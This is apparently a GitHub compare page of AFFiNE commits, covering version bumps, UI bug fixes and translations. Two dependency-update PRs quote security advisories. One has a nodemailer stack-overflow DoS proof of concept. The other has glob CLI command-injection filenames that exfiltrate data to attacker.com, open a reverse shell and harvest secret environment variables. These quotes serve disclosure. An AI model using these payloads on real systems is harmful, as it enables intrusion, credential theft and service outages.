Compare commits

...

24 Commits

Author SHA1 Message Date
DarkSky
776ca2c702 chore: bump version 2025-12-08 10:47:37 +08:00
renovate[bot]
903e0c4d71 chore: bump up nodemailer version to v7.0.11 [SECURITY] (#14062)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.9`
-> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/7.0.9/7.0.11)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.11?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.9/7.0.11?slim=true)
|

### GitHub Vulnerability Alerts

####
[GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v)

### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.

### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:


https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:

```g0: g1: g2: g3: ... gN: victim@example.com;```

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

### PoC

```
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11)

##### Bug Fixes

- prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](b61b9c0cfd))

### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23)

[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10)

##### Bug Fixes

- Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](28dbf3fe12))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-08 10:45:06 +08:00
DarkSky
f29e47e9d2 feat: improve oauth (#14061)
fix #13730
fix #12901
fix #14025
2025-12-08 10:44:41 +08:00
Daniel Dybing
6e6b85098e fix(core): handle image-blob reduce errors more gracefully (#14056)
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/14018

When uploading a new profile photo avatar the Pica function, which is
responsible for reducing and resizing the profile photo, may crash if
the browser's Fingerprint Protection is enabled. This is because
Fingerprint Protection prevents Pica from modifying the canvas.

This fix introduces a try-catch inside the function that calls the
reduction and resizing of the photo. Also, the Error object is no longer
passed directly to the notification service, which also caused issues
previously. Now a message will appear that tells the user that the
upload failed and to check the browser's fingerprint protection (check
photo below).

Affected files: packages/frontend/core/src/utils/reduce-image.ts

<img width="408" height="136" alt="new_error"
src="https://github.com/user-attachments/assets/d140e17c-8c13-4f4b-bdf7-7dd5ddc5c917"
/>

I'm open to any suggestions in terms of wording of the error messages. 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved error handling for image compression with clearer,
user-facing messages when compression is blocked or fails.
* Ensures the original or reduced image is reliably returned as a
fallback if compression is not performed.
* Preserves file metadata (original lastModified, name, type) when
returning processed files.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-12-07 21:59:07 +08:00
DarkSky
cf14accd2b fix: unstable test 2025-12-07 20:22:43 +08:00
DarkSky
cf4e37c584 feat(native): native reader for indexer (#14055) 2025-12-07 16:22:11 +08:00
DarkSky
69cdeedc4e fix: lint 2025-12-06 17:55:14 +08:00
Zegnos
0495fac6f1 feat(i18n): update FR translate & corrections (#14052)
Added a complete French translation for several user interface elements.

Updated existing translation strings to improve consistency and clarity.

Corrected inaccurate or unclear wording in the language files.

Harmonized terminology to maintain a uniform vocabulary across the
interface.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
  * Corrected Spanish branding text for AFFiNE consistency.
* Expanded French locale with many new keys (AI features, calendar,
import/doc labels, shortcuts).
* Trimmed trailing spaces and fixed grammar, punctuation, diacritics
across French strings.
* Added French "Copied to clipboard" confirmation and other refined UI
labels.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-06 17:53:10 +08:00
DarkSky
5cac8971eb fix: apple sign (#14053) 2025-12-06 15:36:50 +08:00
Whitewater
1196101226 fix(editor): use onBlur for input handling in property menu (#14049)
Eliminate mobile-specific input handling from the property menu to
streamline functionality across devices.


Before


https://github.com/user-attachments/assets/563857c9-6d2f-4c38-9359-7e3e74dfb531


After


https://github.com/user-attachments/assets/0126b966-cdc2-40b7-b416-3a0e8be4aedf


Maybe related to
https://github.com/toeverything/blocksuite/pull/7524/files#diff-25406bbadb23338f3120c8d0c5e1e8485173750a57f1ba3d7a51be1c9f548696
https://github.com/toeverything/blocksuite/pull/8787/files#diff-36fb3de4c5129393febe0286eb10e9ebb791296500dc4229c9d609b9ed5e138c

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved input field responsiveness by enhancing event handling for
blur interactions.
  
* **Improvements**
* Unified input component behavior across all platforms for more
consistent user experience.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-05 14:37:15 +08:00
congzhou09
bcc892c8ec fix(editor): one-time size mismatch during surface-block resize after zoom change in edgeless mode (#14019)
### Problem

There's a one-time content-size mismatch during surface-block resize
after a zoom change in edgeless mode, as shown in the image and video
below.

<img width="885" height="359" alt="图片"
src="https://github.com/user-attachments/assets/97a85924-1ca1-4b48-b334-6f19c7c41f49"
/>



https://github.com/user-attachments/assets/1c0e854c-b12e-4edc-9266-6358e0cf9d5a


### Reason and resolve

`Viewport` maintains a `_cachedBoundingClientRect` that stores the
synced-doc-block’s bounding box size. This cache is cleared by a
ResizeObserver on resizing.

In `EmbedSyncedDocBlockComponent`, `fitToContent()` depends on this
cache, and is triggered by another ResizeObserver registered in
`_initEdgelessFitEffect()`.

Since `_initEdgelessFitEffect()` is invoked before the `Viewport`’s
ResizeObserver is registered — dut to `_renderSyncedView()` not being
called for the first-time in `renderBlock()` — `fitToContent()` reads a
stale cached value at the beginning of the resize, resulting in the
one-time content-size mismatch.

This PR ensures that `_initEdgelessFitEffect()` is called after the
registration of the ResizeObserver in `Viewport`.

### After



https://github.com/user-attachments/assets/e95815e2-0575-4108-a366-ea5c00efe482



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved initialization sequence for embedded synced documents to
ensure proper rendering and resize handling, preventing potential issues
with stale data during component setup.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 23:29:19 +08:00
Daniel Dybing
88a2e4aa4b fix: improved error description of proxy size limits (#14016)
**Summary:**
This PR improves the user feedback when encountering an HTTP 413
(_CONTENT_TOO_LARGE)_ error caused by a file size limit in the proxy /
ingress controller in a self-hosted environment.

**Example scenario:**
A self-hosted environment serves AFFiNE through an nginx proxy, and the
`client_max_body_size` variable in the configuration file is set to a
smaller size (e.g. 1MB) than AFFiNE's own file size limit (typically
100MB). Previously, the user would get an error saying the file is
larger than 100MB regardless of file size, as all of these cases
resulted in the same internal error. With this fix, the
_CONTENT_TOO_LARGE_ error is now handled separately and gives better
feedback to the user that the failing upload is caused by a fault in the
proxy configuration.

**Screenshot of new error message**

<img width="798" height="171" alt="1MB_now"
src="https://github.com/user-attachments/assets/07b00cd3-ce37-4049-8674-2f3dcb916ab5"
/>


**Affected files:**
  1. packages/common/nbstore/src/storage/errors/over-size.ts
  2. packages/common/nbstore/src/impls/cloud/blob.ts


I'm open to any suggestions in terms of the wording used in the message
to the user. The fix has been tested with an nginx proxy.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved user-facing error messages for file upload failures. When an
upload exceeds the file size limit, users now receive a clearer message
indicating that the upload was stopped by the network proxy due to the
size restriction, providing better understanding of why the upload was
rejected.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 12:06:07 +08:00
congzhou09
0bedaaadba fix(editor): surface-block canvas size not fitting its container in edgeless mode when zoom is not 1 (#14015)
### Problem
●In edgeless mode, the embed-edgeless-doc's content does not match the
size of its outer block when zoom ≠ 1.
●The follwing image and video show the issue at zoom = 0.5.

<img width="610" height="193" alt="图片"
src="https://github.com/user-attachments/assets/c50849c6-d55b-4175-9b70-218f69ab976a"
/>


https://github.com/user-attachments/assets/ea7e7cc4-64ae-4747-8124-16c4eea6458e

### Reason and resolve
●The issue occurs because the surface-block canvas uses the container’s
dimensions obtained from getBoundingClientRect(), which are already
affected by the CSS transform. The canvas is then transformed again
together with the container, causing the size mismatch.
●To keep all drawing operations in the surface-block’s original
coordinate space, we apply a reverse transform to the canvas.

### After


https://github.com/user-attachments/assets/6c802b81-d520-44a0-9f01-78d0d60d37b8



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Canvas rendering now properly responds to viewport zoom levels. Visual
scaling is applied dynamically to ensure canvases align correctly with
viewport scaling, providing consistent and accurate rendering during
zoomed interactions while preserving original canvas dimensions.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-27 02:31:18 +00:00
Daniel Dybing
1d9fe3b8d9 fix(core): pressing ENTER on database title now switches focus instead of creating new record (#13975)
Initial bug report: Issue
https://github.com/toeverything/AFFiNE/issues/13966

Description of bug: When a database header/title is in focus and the
user presses ENTER, a new record is created and shown to the user.

Expected outcome: When the user presses enter in the header title field,
the new title should be applied and then the title field should loose
focus.

Short summary of fix: When the ENTER key is pressed within the title,
the `onPressEnterKey()` function is called. As of now, this calls the
function `this.dataViewLogic.addRow?.('start');` which creates a new
record. In this fix, this has been changed to `this.input.blur()` which
instead essentially switches focus away from the title field and does
not create a new record, as expected.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Modified Enter key behavior in the database title field. Pressing
Enter now blurs the input instead of automatically inserting a new row.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-11-21 12:41:39 +00:00
DarkSky
33a014977a chore: ignore empty key 2025-11-19 13:46:11 +08:00
Altamir Benkenstein
221c493c56 feat(server): add Brazilian Portuguese translation support (#13725)
* Added 'Brazilian Portuguese' to the list of supported translation
languages in both backend and frontend.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added Brazilian Portuguese as a supported translation language across
the app.
* Brazilian Portuguese now appears in language selection for translation
actions.
* AI translation prompts now include Brazilian Portuguese as a valid
target option.
  * No other translation behaviors or controls were modified.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 15:09:48 +08:00
ents1008
6c36fc5941 fix(editor): switch to PanTool on same frame for middle mouse; restore selection snapshot (#13911)
Bug: In Edgeless mode, pressing and dragging the middle mouse button
over any element incorrectly triggers DefaultTool in the same frame,
causing unintended selection/drag instead of panning. Dragging on empty
area works because no element intercepts left-click logic.

Reproduction:
- Open an Edgeless canvas
- Press and hold middle mouse button over a shape/text/any element and
drag
- Expected: pan the canvas
- Actual: the element gets selected or moved; no panning occurs

Root cause:
1. PanTool switched via requestAnimationFrame; the current frame’s
pointerDown/pointerMove were handled by DefaultTool first (handing
middle mouse to left-click logic).
2. Selection restore used a live reference to
`this.gfx.selection.surfaceSelections`, which could be mutated by other
selection logic during the temporary pan, leading to incorrect
restoration.

Fix:
- Switch to PanTool immediately on the same frame when middle mouse is
pressed; add a guard to avoid switching if PanTool is already active.
- Snapshot `surfaceSelections` using `slice()` before the temporary
switch; restore it on `pointerup` so external mutations won’t affect
restoration.
- Only register the temporary `pointerup` listener when actually
switching; on release, restore the previous tool (including
`frameNavigator` with `restoredAfterPan: true`) and selection.
Additionally, disable black background when exiting from frameNavigator.

Affected files:
- blocksuite/affine/gfx/pointer/src/tools/pan-tool.ts

Tests:
-
packages/frontend/core/src/blocksuite/__tests__/pan-tool-middle-mouse.spec.ts
- Verifies immediate PanTool switch, selection snapshot restoration,
frameNavigator recovery flag, and no-op when PanTool is already active.

Notes:
- Aligned with docs/contributing/tutorial.md. Local validation
performed. Thanks for reviewing!

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Prevented accidental re-activation of the middle-click pan tool.
* Preserved and restored the user's selection and previous tool options
after panning, including correct handling when returning to the frame
navigator.
* Ensured immediate tool switch to pan and reliable cleanup on
middle-button release.

* **Tests**
* Added tests covering middle-click pan behavior, restoration flows, and
no-op when pan is already active.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 14:26:27 +08:00
DarkSky
477e6f4106 fix: lint 2025-11-18 14:14:41 +08:00
renovate[bot]
b7ebe3d0d6 chore: bump up glob version to v11.1.0 [SECURITY] (#13976)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.2` ->
`11.1.0`](https://renovatebot.com/diffs/npm/glob/11.0.2/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.2/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-11-18 13:43:14 +08:00
Adit Syed Afnan
20ba8875c1 feat(core): pixelated to image component to improve clarity for low-resolution images (#13968)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated rendering quality for images displayed in chat content,
applying a pixelated effect to both row and column layouts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-11-18 13:42:48 +08:00
DarkSky
8544e58c01 fix: transaction timeout 2025-11-18 13:41:25 +08:00
DarkSky
36a08190e0 fix: prettier 2025-11-17 22:04:21 +08:00
DarkSky
b229c96ee5 fix: lint 2025-11-17 21:57:34 +08:00
DarkSky
62fe6982fb chore: cleanup logs 2025-11-16 11:13:56 +08:00
187 changed files with 2492 additions and 1050 deletions

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"

View File

@@ -3,7 +3,7 @@ name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: renderer
description: AFFiNE renderer server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.25.5"
appVersion: "0.25.7"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

9
Cargo.lock generated
View File

@@ -125,18 +125,23 @@ dependencies = [
"affine_media_capture",
"affine_nbstore",
"affine_sqlite_v1",
"chrono",
"napi",
"napi-build",
"napi-derive",
"once_cell",
"serde_json",
"sqlx",
"thiserror 2.0.12",
"tokio",
"uuid",
]
[[package]]
name = "affine_nbstore"
version = "0.0.0"
dependencies = [
"affine_common",
"affine_schema",
"anyhow",
"chrono",
@@ -144,10 +149,14 @@ dependencies = [
"napi",
"napi-build",
"napi-derive",
"serde",
"serde_json",
"sqlx",
"thiserror 2.0.12",
"tokio",
"uniffi",
"uuid",
"y-octo",
]
[[package]]

View File

@@ -296,7 +296,7 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5",
"version": "0.25.7",
"devDependencies": {
"@vanilla-extract/vite-plugin": "^5.0.0",
"msw": "^2.8.4",

View File

@@ -41,5 +41,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -176,7 +176,7 @@ export class DatabaseTitle extends SignalWatcher(
private readonly isFocus$ = signal(false);
private onPressEnterKey() {
this.dataViewLogic.addRow?.('start');
this.input.blur();
}
get readonly$() {

View File

@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -56,6 +56,9 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
// Caches total bounds, includes all blocks and elements.
private _cachedBounds: Bound | null = null;
private _hasRenderedSyncedView = false;
private _hasInitedFitEffect = false;
private readonly _initEdgelessFitEffect = () => {
const fitToContent = () => {
if (this.isPageMode) return;
@@ -558,8 +561,6 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this._selectBlock();
}
});
this._initEdgelessFitEffect();
}
override renderBlock() {
@@ -587,12 +588,21 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
);
}
!this._hasRenderedSyncedView && (this._hasRenderedSyncedView = true);
return this._renderSyncedView();
}
override updated(changedProperties: PropertyValues) {
super.updated(changedProperties);
this.syncedDocCard?.requestUpdate();
if (!this._hasInitedFitEffect && this._hasRenderedSyncedView) {
/* Register the resizeObserver AFTER syncdView viewport's own resizeObserver
* so that viewport.onResize() use up-to-date boundingClientRect values */
this._hasInitedFitEffect = true;
this._initEdgelessFitEffect();
}
}
@state()

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -67,5 +67,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -113,7 +113,7 @@ export class CanvasRenderer {
* It is not recommended to set width and height to 100%.
*/
private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
const { width, height } = this.viewport;
const { width, height, viewScale } = this.viewport;
const actualWidth = Math.ceil(width * dpr);
const actualHeight = Math.ceil(height * dpr);
@@ -124,6 +124,8 @@ export class CanvasRenderer {
update(canvas: HTMLCanvasElement) {
canvas.style.width = `${width}px`;
canvas.style.height = `${height}px`;
